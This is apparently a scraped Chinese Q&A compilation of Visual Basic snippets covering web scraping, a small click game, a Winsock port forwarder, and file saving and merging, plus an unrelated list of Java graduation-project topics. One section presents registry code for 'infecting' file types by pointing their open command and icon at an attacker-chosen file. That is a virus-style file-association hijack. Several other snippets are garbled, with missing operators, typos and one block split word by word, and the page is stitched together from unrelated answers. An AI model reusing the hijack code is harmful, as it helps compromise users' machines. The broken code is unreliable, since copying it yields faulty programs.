vb怎么提取网页源代码的指定内容
先得到源代码：这里用WebBrowser1控件
text1=WebBrowser1.Document.documentElement.outerHTML
下面是筛选实例
自编函数Getin
范例
GetIn(字符串, 起始, 结束)
GetIn(text1, ">", "<") '截取中间
GetIn(text1, "<", "") '截取后半段
GetIn(text1, "", ">") '截取前半段
Function GetIn(ByRef Str As String, St As String, Ed As String)
If InStr(1, Str, St) <= 0 Then
If InStr(1, Str, Ed) > 0 Then
Str = Left(Str, InStr(1, Str, Ed) - 1)
Else
Str = ""
End If
GetIn = ""
Str = ""
Exit Function
End If
If InStr(1, Str, Ed) <= 0 Then
If InStr(1, Str, St) > 0 Then
Str = Right(Str, Len(Str) - InStr(1, Str, St) - Len(St) + 1)
Else
Str = ""
End If
GetIn = Str
Str = ""
Exit Function
End If
Str = Right(Str, Len(Str) - InStr(1, Str, St) - Len(St) + 1)
If Ed = "" Then
GetIn = Str
Str = ""
Exit Function
End If
GetIn = Left(Str, InStr(1, Str, Ed) - 1)
Str = Right(Str, Len(Str) - InStr(1, Str, Ed) - Len(Ed) + 1)
End Function
VB怎么获取网页源码
1）使用MICROSOFT INTERNET TRANSFER CONTROL的，代码如下：
Dim strhtml As String
Dim STRURL As String
STRURL="http://www.sijiqing.com"
strhtml = Inet1.OpenURL(STRURL)
2）用System.Net命空间下的HttpWebRequest来取得，代码如下：
Dim url As String=" http://mgxx520.blog.com.cn" ' 网址
Dim httpReq As System.Net.HttpWebRequest
Dim httpResp As System.Net.HttpWebResponse
Dim httpURL As New System.Uri(url)
httpReq = CType(WebRequest.Create(httpURL), HttpWebRequest)
httpReq.Method = "GET"
httpResp = CType(httpReq.GetResponse(), HttpWebResponse)
httpReq.KeepAlive = False ' 获取或设置一个值，该值指示是否与 Internet资源建立持久连接。
Dim reader As StreamReader = _
New StreamReader(httpResp.GetResponseStream,
System.Text.Encoding.GetEncoding(-0))
Dim respHTML As String = reader.ReadToEnd() 'respHTML就是网页源代码.
vb小游戏源代码
Rem 窗体创建三个单选框按钮，Option1、Option2、Option3。小游戏是一个较模糊的概念，它是相对于体积庞大的单机游戏及网络游戏而言的，泛指所有体积较小、玩法简单的游戏，通常这类游戏以休闲益智类为主，有单机版有网页版，在网页上嵌入的多为FLASH格式。当下小游戏主要是指在线玩的flash版本游戏，统称小游戏，其实小游戏还包含单机游戏，小型游戏机等。一般游戏大小小于10m的游戏都统称为小游戏，一些街机类小游戏。因其游戏安装简便，耐玩性强，无依赖性而广受白领及小朋友的喜爱。小游戏”这个词的型含义其实很简单，它不是一些大的游戏，不必花费更多的时间和精力。小游戏是原始的游戏娱乐方式，小游戏本身是为了叫人们在工作，学习后的一种娱乐、休闲的一种方式，不是为了叫玩家为之花费金钱、花费精力，更不是叫玩家为他痴迷。小游戏也可以理解为“Flash游戏”，是以SWF为后缀的游戏的总称.这些游戏是通过Flash软件和 Flash 编程语言 Flash ActionScript 制作而成。由于Flash是矢量软件，所以小游戏放大后几乎不影响画面效果。Flash小游戏是一种新兴起的游戏形式，以游戏简单，操作方便，绿色，无需安装，文件体积小等优点渐渐被广大网友喜爱。
求VB小游戏代码
1个picture控件，一个label控件，一个time控件就完全足够了，呵呵
Public nn As Long
Public n As Long
Public x, y As Long
Private Sub Form_Load()
nn = 0
n = 1
''Picture1(i).Picture = "图片地址"
Picture1(i).Width = 300
Picture1(i).Height = 300
Timer1.Interval = 100
Timer1.Enabled = True
Label1.Caption = 0
Picture1(0).Visible = False
End Sub
Private Sub Picture1_Click(Index As Integer)
nn = nn + 1
Unload Picture1(Index)
Label1.Caption = nn
End Sub
Private Sub Timer1_Timer()
Randomize
x = Int((Form1.Width - 300 + 1) * Rnd + 300)
y = Int((Form1.Height - 1800 + 1) * Rnd + 1000)
Load Picture1(n)
Picture1(n).Left = x
Picture1(n).Top = y
Picture1(n).Visible = True
n = n + 1
if nn>=200 then
timer1.enable=false
''执行语句
end if
End Sub
打窗口上随机出现的砖块游戏
vb端口映射的程序源码
Option Explicit
Dim bMsg() As Byte
Private Sub Form_Load()
Dim strCTemp As String
Dim intCPTemp As Variant
'侦听端口
Winsock1.LocalPort = 2000
Winsock1.Listen
'向Sphere转发数据
Winsock2.RemoteHost = "127.0.0.1"
Winsock2.RemotePort = 2001
Winsock2.Connect
Do While Winsock2.State 7
If Winsock2.State = 9 Or Winsock2.State = 0 Then Winsock2.Close: Exit Do
Select Case Winsock2.State
Case 1
strCTemp = "已打开!"
Case 2
strCTemp = "正在侦听.."
Case 3
strCTemp = "与服务器连接挂起!"
Case 4
strCTemp = "正在识别主机.."
Case 5
strCTemp = "已识别主机!"
Case 6
strCTemp = "正在与服务器连接.."
Case 8
strCTemp = "同级人员正在关闭连接.."
Case 9
strCTemp = "出错"
Winsock2.Close
End Select
If Winsock2.State intCPTemp Then
intCPTemp = Winsock2.State & vbCrLf
Text1.Text = Text1.Text & strCTemp & vbCrLf
End If
DoEvents
Loop
If Winsock2.State = 7 Then
Text1.Text = Text1.Text & strCTemp & "已成功连接上服务器..." & vbCrLf
End If
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
ReDim bMsg(bytesTotal)
Winsock1.GetData bMsg
Text1.Text = Text1.Text & bytesTotal & vbCrLf
Text1.SelStart = Len(Text1.Text)
Winsock2.SendData bMsg
End Sub
Private Sub Winsock2_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Text1.Text = Text1.Text & "Winsock2出错!" & vbCrLf
End Sub
Private Sub Winsock2_SendComplete()
Text1.Text = Text1.Text & "向Sphere发送了数据.." & vbCrLf
End Sub
Private Sub Winsock2_SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long)
Text1.Text = Text1.Text & "向Sphere发送了" & bytesSent & "数据.." & vbCrLf
End Sub
VB程序源码如何使用
你需要安装vb6.0开发软件
如果安装了，就可以直接打开源码测试了，后缀名是vbp，（就是vb的工程文件）
如果没有安装vb6.0，还想打开源码看程序，那就右击 用记事本 打开后缀名为frm的文件，他是vb的窗口文件，源码都在他里面
一般得源码是没有生成exe可执行文件的，那样文件太多，太大，浪费空间
如果你自己想生成exe可执行文件，那就vb6.0得文件菜单中把文件保存成exe可执行文件就可以了，非常简单
好运！
vb文件保存代码
VBweb保存代码如下：
Private Sub mnusave_Click() '保存
Set fs = CreateObject("Scripting.FileSystemObject")
CommonDialog1.InitDir = "c:\"
CommonDialog1.Filter = "文本文件|*.txt"
If fs.fileexists(FileName) = False Then
CommonDialog1.ShowSave
End If
FileName = CommonDialog1.FileName
RichTextBox1.SaveFile FileName, rtfText
Me.Caption = "Easy Notebook -" & FileName
End Sub
求VB程序的保存代码，以及保存文件名类型
将你的textbox控件定义成数组控件，然后运行以下代码：Private Sub command1_click() '这个是保存Text1的内容到本身目录下.
Open App.Path & "\123.txt" For Append As #1
Print #1, Text1(0).Text
Print #1, Text1(1).Text
Print #1, Text1(2).Text
Close #1
End SubPrivate Sub Form_Load()
Dim i As Integer
Open App.Path & "\123.txt" For Input As #1
Do While Not EOF(1)
Line Input #1, ss
Text1(i).Text = ss
i = i + 1
Loop
Close #1
End Sub
vb 合并txt代码
在工程中的"引用"里找一项Microsoft
Scripting
RunTime打上勾
在窗体上放3个按钮，3个TEXTBOX文本框，把代码复制过去就能用
记得把Text控件里的Text清空否则ccc.txt里显示会多个text3
Dim
file
As
FileSystemObject
Dim
obj
As
TextStream
Dim
str
As
String
Dim
objfile
As
TextStream
Dim
lines
As
String
Dim
a()
As
String
Dim
b()
As
String
Dim
c(0
To
1000)
As
String
'定义一个数组
Dim
i
As
Integer
Private
Sub
Command1_Click()
On
Error
Resume
Next
Set
file
=
New
FileSystemObject
Set
obj
=
file.OpenTextFile("c:\a.txt")
str
=
obj.ReadAll
lines
=
obj.Line
a
=
Split(str,
vbCrLf)
'把OBJ按回车分成N行
Text1.Text
=
str
End
Sub
Private
Sub
Command2_Click()
On
Error
Resume
Next
Set
file
=
New
FileSystemObject
Set
obj
=
file.OpenTextFile("c:\b.txt")
str
=
obj.ReadAll
b
=
Split(str,
vbCrLf)
'把OBJ按回车分成N行
Text2.Text
=
str
End
Sub
Private
Sub
Command3_Click()
On
Error
Resume
Next
For
i
=
0
To
1000
c(i)
=
a(i)
+
b(i)
+
vbCrLf
Text3.Text
=
Text3.Text
+
c(i)
Next
i
Set
objfile
=
file.CreateTextFile("c:\c.txt",
True)
objfile.Write
Text3.Text
objfile.Close
End
Sub
VB自动感染所有的DLL和EXE程序图标
Dim hKey As Long
hKey = HKEY_CLASSES_ROOT '访问注册表项 （前一章所学的hkey的参数说明）
Dim ret1 As Long '定义常量
RegSetValue hKey, "感染的类型如(.txt)", REG_SZ, "感染标签 ", 7
RegSetValue hKey, "感染标签 ", REG_SZ, "文本文档", 9
RegSetValue hKey, "感染标签 " & "\shell", REG_SZ, "open", 5
RegSetValue hKey, "感染标签 " & "\shell\open\command", REG_SZ, "感染的文件地址 %l", LenB(StrConv(感染的文件地址 %l", vbFromUnicode)) + 1
RegSetValue hKey, "感染标签 " & "\shell\print\command", REG_SZ, "感染的文件地址 /p %l", LenB(StrConv(感染的文件地址 /p %l", vbFromUnicode)) + 1
RegSetValue hKey, "感染标签 " & "\DefaultIcon", REG_SZ, "感染的图标", LenB(StrConv("感染的图标", vbFromUnicode)) + 1
RegCloseKey hKey '访问注册表。。修改注册表。
’如果你要感染2个``要2次使用以上代码 修改“感染的类型”即可
Java毕业设计有什么可以做的
说实话新颖的毕业设计题目、也许对于今年来说很新颖，到了明年也就不新颖了。也许对于你们学校来说新颖，对于别的学校来说就不新颖了。如果我把我们准备的题目写出来用的人多了也可能就不新颖了。
先说一下新颖的题目我们应该从哪些方面去考虑，首先根据当前社会所推出的新资源，新项目相结合的题目那么是新颖的。
举例前两年的共享经济还是蛮新颖的，根据这一类型所有的题目应都是比较好通过学校审核的，例如校园共享单车，汽车货物资源共享，校园图书共享，校园优质账号共享等。随着时间的推进，这些题目又变成了烂大街的项目了。
想要找到比较新颖的项目，还可以从比较偏门的行业入口，例如自来水厂工业检测，石沙场工业流程管理系统等，也是比较容易通过的。
还是得发挥大家的想象力，在报题的过程中多和老师沟通，征求老师的意见才能顺利完成毕设的选题操作。
推荐几个常见的题目
聊天室管理系统
教师档案管理系统
信息网管理系统
毕业论文管理系统
车辆故障管理系统
电子商务网站
房产销售网站
网上购物系统
工资管理系统
卷烟物价管理系统
聊天室管理系统
聊天室管理系统
网络教学平台-教师子系统
度娘 全微毕设 了解更多JAVA毕业设计题目 他们的程序超多注释
